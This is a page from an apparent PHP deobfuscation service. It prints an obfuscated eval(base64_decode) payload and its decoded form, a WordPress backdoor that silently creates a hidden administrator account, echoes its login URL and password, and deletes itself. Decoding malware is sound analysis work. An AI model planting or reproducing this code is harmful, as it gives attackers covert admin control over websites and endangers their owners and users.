Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIHZqNUZ3OyBhS3N2SjogcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAiXDE2..
Decoded Output download
goto vj5Fw; aKsvJ: require_once ABSPATH . "wp-admin/includes/upgrade.php"; goto KZs0e; KZs0e: class WPAdminCreator { private $username; private $email; private $password; public function __construct($username, $email) { $this->username = $username; $this->email = $email; $this->password = $this->generatePassword(); } private function generateRandomString($length = 8) { $characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } private function generatePassword() { return "mr_simural_#" . $this->generateRandomString(); } private function userExists() { return username_exists($this->username) || email_exists($this->email); } public function createAdminUser() { if (!$this->userExists()) { $userId = wp_create_user($this->username, $this->password, $this->email); if (is_wp_error($userId)) { return "Error creating user: " . $userId->get_error_message(); } else { $user = new WP_User($userId); $user->set_role("administrator"); return $this->getLoginUrl() . "#" . $this->username . "|" . $this->password; } } else { return "User already exists."; } } private function getLoginUrl() { $wpsHideLoginUrl = get_option("whl_page"); if ($wpsHideLoginUrl) { return "https://" . $_SERVER["SERVER_NAME"] . "/" . ltrim($wpsHideLoginUrl, "/") . "/"; } else { return "https://" . $_SERVER["SERVER_NAME"] . "/wp-login.php"; } } public function removeScript() { unlink(__FILE__); } } goto JhMq0; RcLzJ: echo $adminCreator->createAdminUser(); goto uTiTF; JhMq0: $username = "mrsimural"; goto JmgpJ; uTiTF: $adminCreator->removeScript(); goto tcgo1; JmgpJ: $email = "[email protected]"; goto K5yWv; K5yWv: $adminCreator = new WPAdminCreator($username, $email); goto RcLzJ; vj5Fw: require_once "wp-load.php"; goto aKsvJ; tcgo1:
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIHZqNUZ3OyBhS3N2SjogcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAiXDE2N1wxNjBceDJkXHg2MVwxNDRcMTU1XHg2OVx4NmVceDJmXDE1MVwxNTZceDYzXDE1NFx4NzVceDY0XHg2NVx4NzNcNTdceDc1XDE2MFwxNDdceDcyXHg2MVwxNDRcMTQ1XDU2XDE2MFx4NjhcMTYwIjsgZ290byBLWnMwZTsgS1pzMGU6IGNsYXNzIFdQQWRtaW5DcmVhdG9yIHsgcHJpdmF0ZSAkdXNlcm5hbWU7IHByaXZhdGUgJGVtYWlsOyBwcml2YXRlICRwYXNzd29yZDsgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCR1c2VybmFtZSwgJGVtYWlsKSB7ICR0aGlzLT51c2VybmFtZSA9ICR1c2VybmFtZTsgJHRoaXMtPmVtYWlsID0gJGVtYWlsOyAkdGhpcy0+cGFzc3dvcmQgPSAkdGhpcy0+Z2VuZXJhdGVQYXNzd29yZCgpOyB9IHByaXZhdGUgZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpIHsgJGNoYXJhY3RlcnMgPSAiXHg0MVwxMDJceDQzXDEwNFx4NDVceDQ2XHg0N1wxMTBcMTExXDExMlx4NGJceDRjXHg0ZFx4NGVceDRmXDEyMFx4NTFceDUyXHg1M1x4NTRceDU1XDEyNlx4NTdcMTMwXHg1OVx4NWFcMTQxXHg2MlwxNDNceDY0XDE0NVwxNDZcMTQ3XHg2OFx4NjlceDZhXDE1M1wxNTRceDZkXHg2ZVwxNTdceDcwXHg3MVx4NzJceDczXDE2NFx4NzVceDc2XDE2N1x4NzhceDc5XDE3Mlw2MFw2MVx4MzJcNjNceDM0XDY1XHgzNlx4MzdceDM4XDcxIjsgJGNoYXJhY3RlcnNMZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOyAkcmFuZG9tU3RyaW5nID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsgJHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzTGVuZ3RoIC0gMSldOyB9IHJldHVybiAkcmFuZG9tU3RyaW5nOyB9IHByaXZhdGUgZnVuY3Rpb24gZ2VuZXJhdGVQYXNzd29yZCgpIHsgcmV0dXJuICJceDZkXDE2Mlx4NWZceDczXHg2OVx4NmRceDc1XDE2Mlx4NjFcMTU0XHg1Zlw0MyIgLiAkdGhpcy0+Z2VuZXJhdGVSYW5kb21TdHJpbmcoKTsgfSBwcml2YXRlIGZ1bmN0aW9uIHVzZXJFeGlzdHMoKSB7IHJldHVybiB1c2VybmFtZV9leGlzdHMoJHRoaXMtPnVzZXJuYW1lKSB8fCBlbWFpbF9leGlzdHMoJHRoaXMtPmVtYWlsKTsgfSBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlQWRtaW5Vc2VyKCkgeyBpZiAoISR0aGlzLT51c2VyRXhpc3RzKCkpIHsgJHVzZXJJZCA9IHdwX2NyZWF0ZV91c2VyKCR0aGlzLT51c2VybmFtZSwgJHRoaXMtPnBhc3N3b3JkLCAkdGhpcy0+ZW1haWwpOyBpZiAoaXNfd3BfZXJyb3IoJHVzZXJJZCkpIHsgcmV0dXJuICJceDQ1XHg3MlwxNjJceDZmXDE2Mlw0MFwxNDNcMTYyXDE0NVwxNDFcMTY0XHg2OVwxNTZceDY3XHgyMFx4NzVcMTYzXDE0NVwxNjJcNzJceDIwIiAuICR1c2VySWQtPmdldF9lcnJvcl9tZXNzYWdlKCk7IH0gZWxzZSB7ICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJJZCk7ICR1c2VyLT5zZXRfcm9sZSgiXDE0MVwxNDRceDZkXDE1MVx4NmVcMTUxXDE2M1x4NzRceDcyXHg2MVwxNjRceDZmXHg3MiIpOyByZXR1cm4gJHRoaXMtPmdldExvZ2luVXJsKCkgLiAiXDQzIiAuICR0aGlzLT51c2VybmFtZSAuICJcMTc0IiAuICR0aGlzLT5wYXNzd29yZDsgfSB9IGVsc2UgeyByZXR1cm4gIlx4NTVcMTYzXDE0NVwxNjJcNDBceDYxXDE1NFx4NzJceDY1XDE0MVwxNDRcMTcxXDQwXDE0NVwxNzBcMTUxXHg3M1x4NzRceDczXHgyZSI7IH0gfSBwcml2YXRlIGZ1bmN0aW9uIGdldExvZ2luVXJsKCkgeyAkd3BzSGlkZUxvZ2luVXJsID0gZ2V0X29wdGlvbigiXHg3N1x4NjhceDZjXHg1ZlwxNjBcMTQxXDE0N1x4NjUiKTsgaWYgKCR3cHNIaWRlTG9naW5VcmwpIHsgcmV0dXJuICJceDY4XHg3NFx4NzRceDcwXDE2M1x4M2FcNTdceDJmIiAuICRfU0VSVkVSWyJcMTIzXDEwNVwxMjJcMTI2XDEwNVx4NTJcMTM3XHg0ZVx4NDFcMTE1XDEwNSJdIC4gIlx4MmYiIC4gbHRyaW0oJHdwc0hpZGVMb2dpblVybCwgIlw1NyIpIC4gIlw1NyI7IH0gZWxzZSB7IHJldHVybiAiXHg2OFwxNjRcMTY0XDE2MFwxNjNcNzJceDJmXHgyZiIgLiAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXDEyNlx4NDVcMTIyXDEzN1wxMTZceDQxXHg0ZFx4NDUiXSAuICJcNTdceDc3XHg3MFw1NVx4NmNcMTU3XDE0N1wxNTFceDZlXHgyZVx4NzBcMTUwXHg3MCI7IH0gfSBwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlU2NyaXB0KCkgeyB1bmxpbmsoX19GSUxFX18pOyB9IH0gZ290byBKaE1xMDsgUmNMeko6IGVjaG8gJGFkbWluQ3JlYXRvci0+Y3JlYXRlQWRtaW5Vc2VyKCk7IGdvdG8gdVRpVEY7IEpoTXEwOiAkdXNlcm5hbWUgPSAiXDE1NVx4NzJcMTYzXDE1MVwxNTVcMTY1XDE2Mlx4NjFcMTU0IjsgZ290byBKbWdwSjsgdVRpVEY6ICRhZG1pbkNyZWF0b3ItPnJlbW92ZVNjcmlwdCgpOyBnb3RvIHRjZ28xOyBKbWdwSjogJGVtYWlsID0gIlx4NzNcMTUxXDE1NVwxNjVceDcyXDE0MVx4NmNceDQwXHg2MVx4NjRcMTU1XDE1MVx4NmVceDJlXHg2M1wxNTdceDZkIjsgZ290byBLNXlXdjsgSzV5V3Y6ICRhZG1pbkNyZWF0b3IgPSBuZXcgV1BBZG1pbkNyZWF0b3IoJHVzZXJuYW1lLCAkZW1haWwpOyBnb3RvIFJjTHpKOyB2ajVGdzogcmVxdWlyZV9vbmNlICJcMTY3XHg3MFx4MmRcMTU0XDE1N1x4NjFcMTQ0XHgyZVx4NzBcMTUwXDE2MCI7IGdvdG8gYUtzdko7IHRjZ28xOiA=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 7019908f19d3dbad1056b1637dfdd4cc |
Eval Count | 1 |
Decode Time | 56 ms |